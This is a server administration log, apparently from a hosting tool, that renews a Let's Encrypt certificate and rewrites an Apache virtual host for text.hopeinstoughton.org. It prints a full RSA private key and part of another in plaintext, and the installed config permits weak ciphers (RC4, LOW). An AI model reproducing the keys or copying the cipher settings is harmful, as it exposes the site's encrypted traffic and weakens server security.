1zZT9gniTRmCZHAM+7T89RJaAwKBgQDNAGxnfEMcg9ZrnkuMMPOome2/W+WL0QXB
63NUVfXjHxjYjLh6dcaW87XNV8jYsvZB2uCr+e3nYU/TFfjeGnavY5PcYo3JWx27
I1TD3SlifpS3wUvVtPE0LOGpxlVLkvGHg/8efin54Lfxzt/c4rQQLZJDcrRY0RVz
rB4I59jQYwKBgQCxnwjoiNv6hgje1AtasOj2G33L4Lbm9kZYHV8e6w0CVWi7EzJ8
zx7BEz65kUYf4nqHbe5eMe5JOcRaKfqXvMpKCOxIyBf/RHL2apZMOdGntRZez7F/
TGPiMgEJcny8NAq0kj5GJ/GQdGRMkeudjAVvzguqeRW1kCYht3hENFlBtQKBgGYK
GOtlyc3uvZLxxu7wCshYXiPK7TYsA66jsNNAulSjzO01Fjo2V3QZuNuOH3Xllnfv
J7fSfp2WLXKHVEnRaFQiv52KHMMmLGVSz8VyV0Ake4f/mey01P7AfE7SXvBwIvLu
O9WEvQYY2dZtv7YlzbTjyhLyjFxNLl1WRdju9le7AoGAT1yOBDQDHEg4jbrAW3Pj
G9TTuwsWr3bONGxZulwhgjl23S5VrKUu9L7IAfCq5d7FeRZ3rHtOKSjk7f7s5z+F
M3rLdFCgGstTqCAH3ZYqPMHlsxnktzjGCZfUFjHWB2EhKStoCFKqj6gyrKzyioKb
MTXm3ECq2kQ1BBFbQhI9uCU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-08 06:00:46: Establishing a connection
2025-10-08 06:00:47: Establishing a connection
2025-10-08 06:00:47: 

PUT: /tmp/pkp994370

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_text/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:00:47: 

chmod 755 /tmp/pkp994370; /tmp/pkp994370; rm /tmp/pkp994370

2025-10-08 06:00:47: 


1


2025-10-08 06:00:47: Establishing a connection
2025-10-08 06:00:47: 

PUT: /tmp/pkp956058

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cat > csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY
cat > JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw


2025-10-08 06:00:48: 

chmod 755 /tmp/pkp956058; /tmp/pkp956058; rm /tmp/pkp956058

2025-10-08 06:00:48: 




2025-10-08 06:00:58: Establishing a connection
2025-10-08 06:00:58: 

PUT: /tmp/pkp792245

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_text/.well-known/acme-challenge/"
rm csENtPuSRlyhTMxtAKtbVepC5MUKa6chgdFADDdAAfY
rm JqU1s-r6myHeMSEcku1oDiaslkPhaul78AZclQyqhgw


2025-10-08 06:00:58: 

chmod 755 /tmp/pkp792245; /tmp/pkp792245; rm /tmp/pkp792245

2025-10-08 06:00:58: 




2025-10-08 06:00:58: Establishing a connection
2025-10-08 06:00:58: 

PUT: /tmp/pkp884730

#!/bin/bash
temp_file=$(mktemp)
TARGET=94911c6cf6fdc3591c65d93ede1a6ecb.crt

cat > $temp_file <<'endmsg'
77:cd:39:d4:ba:91:90:3c:3b:49:29:5c:d2:b3:f7:ab

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBaRWrsiJPgfWAaE1vuOCJy+7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjI3WhcNMjYwMTA2MDUwMjI2WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXit1wZrQ1SJbTxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOh
nD5WQU6Y30jmpwwOUC4RPm/5/SaPx+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fT
SpGlo5ZW1wM6CbGF/xcIRcKj8xzljreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+
3cWNLxPUp2uJuXQXXhcUqAE/cAvJRNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJ
dQ7xLLD41d22ahtr9YislUWRAwJIWd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8
IEuQDyStRhxvTyogPXAKHKKUkoREEPSGgoeDAgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFPFahgyujbyiJzeJNdiDnjBmwiv8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVu
Y3Iub3JnLzYwLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmcJolIoAAAQDAEgwRgIhANJoSmiU
tjPsihudue9DCkesk06n3jhqRBvPy7gUICmDAiEAhpzlvI0aXX4yYcRx4KI8KUJO
95Z7GM/L9SOHBtBuScEAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnCaJSBAAAEAwBHMEUCIGMVAdl5sHbSJFNnNAqPJh5G8j91B+0zZKnSt6oC
r9JhAiEA8lCkoJTflvKvcUlQE+yFapLdcoc96lkw/z2jraXQMCwwDQYJKoZIhvcN
AQELBQADggEBAC/cRV9J4/Z+nkv8p7+MEVz33z80b/Ps2Ea24B7EV8oyTOGhWsYk
9o6MjVxs0HO+J61TzDl1roMrs2Hgh+suPMjp4XTVIq8+/fBWZMmxrO4Ykz+sEg/p
nn+TzePbX8PeUGmfVTsQCAlROjLrgcSjyoQ6m3HGj2YvM0SSUoMvJ3snaUQ6RnX/
grAbSzLs0pNuGf32zouRcIPFH3sticfcSkIJG4WAD0+FKKibdMYt/s+mhVuBlKpF
anKRJhN4WzDglb28g7mavXpc2QBmul4GOSou3YuD5l6ImvOoLx04JKZ/pbEMOoM9
20WfEpzflFPgytZibXELc3hxjXgygp6AmfA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvXit1wZrQ1SJb
TxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOhnD5WQU6Y30jmpwwOUC4RPm/5/SaP
x+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fTSpGlo5ZW1wM6CbGF/xcIRcKj8xzl
jreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+3cWNLxPUp2uJuXQXXhcUqAE/cAvJ
RNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJdQ7xLLD41d22ahtr9YislUWRAwJI
Wd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8IEuQDyStRhxvTyogPXAKHKKUkoRE
EPSGgoeDAgMBAAECggEASnl7i27FCJr7FDvnda39bKEizgk6pnFKgcMKFww4A6WF
uVNh/OgVsRva/SEWHJ4kiI+UgM47T7cqgTUs7HsAO1WCBVv1E7veLS9gGyMf1Tx5
L0VZummYoPdwCUEWpbcoJPfIGENH/chpJTQOytJamGwSCe+2DHuvb7XCYOJfCQP5
go7sDABmWpV7a3jIV+AShjXx77FvStfMnenHxWRhh8Pnbsv2VPrQoYAujPT169x4
7J6JFb9EghwExo5dpW+LN5Ki8T3QigsVM04Rq6ivo/MyKEDRmAFLw8l13hyAsCUk
0z3H2OHk16TnC0n1GZSENrmnVrGkvt2otQ8auNdkAQKBgQDfa0oOjlxqo3kCqIEB
9Bg6scv4BXcoexH4TaDjrD9cO0jQqcgzaJSEbsN0Wqprn3NugKAVl8TOQPYD3SIz
OGQw7EFX8BnsBFQtHyogxh6oqMKPCK5WpBNAf7Wrw9p++pjSnsxzY29e/5wIKOXy
vcWLKFOzh6hxYu1aZkvu7Aj7wQKBgQDI8QZqvIOKfpxUttFjLTWyBG9jXgrQHkvC
MXttEUdSGfg6cU1WqG1UXdAcC2rxBJsfvARLE3ErjpSnWE5y5q+Ydd0BriA8aVRB
3B0Uz5MqKPdE6PrrXd0QRHSp4RIOeUY5b11ZVPo8Kxuhs/m618ldhaf4QcOhsyGs
FeqNSyGkQwKBgQCHRI8m9vxvOCBpAppxE1ekGcezl6OIZ9L+cgmqLryB3Ab/BvyG
W5goAmPmS4qI9JZP3iKOUEBA3EXXGwi82DSZBkGdu2oGYqyQUSERjMI9PUfmj8v1
+wsI7wmQQFlGrfTe+HQynI5uhvXyXsiySkGTOkxLEyRh2hJ4vBzXQCNEQQKBgGAt
PO0JncxEHX9OoZneoby68rWU5YgHeCtSk8j4ZDKfy3ftkx7PLsUawekqbd0+XyEp
VMS6YYh/jhcq5SGJ2LIYd9e+CB/iKjn7qM+1KrMbOH77JF5TZuPKYCyPVZ0n3rzO
2NdRHRR/bZJQGk+byP3CY0sn7wMOQiejtcg7FbcRAoGALcDzSl8gIV5k3Sc5QfH1
9VYCgDMg1jOWquU1b7pVI3KQdv/zCmaLjcGqKVARGHTvDElbewn4UGlJFmxENuDO
y1Z+wkiX2MkcuF5MDeFqgN17LUs1uZhGhU7bFBKpAaoj1vp8+2FhiSURfC5F25f3
eCD06+Sv48ayg/MwX8L0i9k=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-08 06:00:58: 

chmod 755 /tmp/pkp884730; /tmp/pkp884730; rm /tmp/pkp884730

2025-10-08 06:00:58: 


dir=/etc/ssl/certs


2025-10-08 06:00:58: 

PUT: /tmp/pkp436546

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-08 06:00:58: 

chmod 755 /tmp/pkp436546; /tmp/pkp436546; rm /tmp/pkp436546

2025-10-08 06:00:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf 58

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-08 06:00:58: 

PUT: /tmp/pkp211428

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_text_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_text_org.conf= 1'
fi


2025-10-08 06:00:58: 

chmod 755 /tmp/pkp211428; /tmp/pkp211428; rm /tmp/pkp211428

2025-10-08 06:00:58: 




2025-10-08 06:00:58: 

PUT: /tmp/pkp546159

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-08 06:00:59: 

chmod 755 /tmp/pkp546159; /tmp/pkp546159; rm /tmp/pkp546159

2025-10-08 06:00:59: 


.


2025-10-08 06:00:59: Establishing a connection
2025-10-08 06:00:59: 

PUT: /tmp/pkp709293

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-08 06:00:59: 

chmod 755 /tmp/pkp709293; /tmp/pkp709293; rm /tmp/pkp709293

2025-10-08 06:00:59: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
                 alias list.stoughton.link
         port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
                 alias sms.hopeinstoughton.org
         port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
                 alias venus.hostz.org
                 alias mail.emessage.email
*:443                  is a NameVirtualHost
         default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
         port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
                 alias sms.hopeinstoughton.org
         port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
                 alias venus.hostz.org
                 alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-08 06:00:59: 

PUT: /tmp/pkp319978

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:00:59: 

chmod 755 /tmp/pkp319978; /tmp/pkp319978; rm /tmp/pkp319978

2025-10-08 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf	1461

<VirtualHost *:80>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	text.hopeinstoughton.org
    ServerAlias	sms.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt
    DocumentRoot	/var/www/hopeinstoughton_text
    <Directory /var/www/hopeinstoughton_text>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/text_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/text_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-08 06:00:59: 

PUT: /tmp/pkp835443

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-08 06:00:59: 

chmod 755 /tmp/pkp835443; /tmp/pkp835443; rm /tmp/pkp835443

2025-10-08 06:00:59: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/94911c6cf6fdc3591c65d93ede1a6ecb.crt	5406
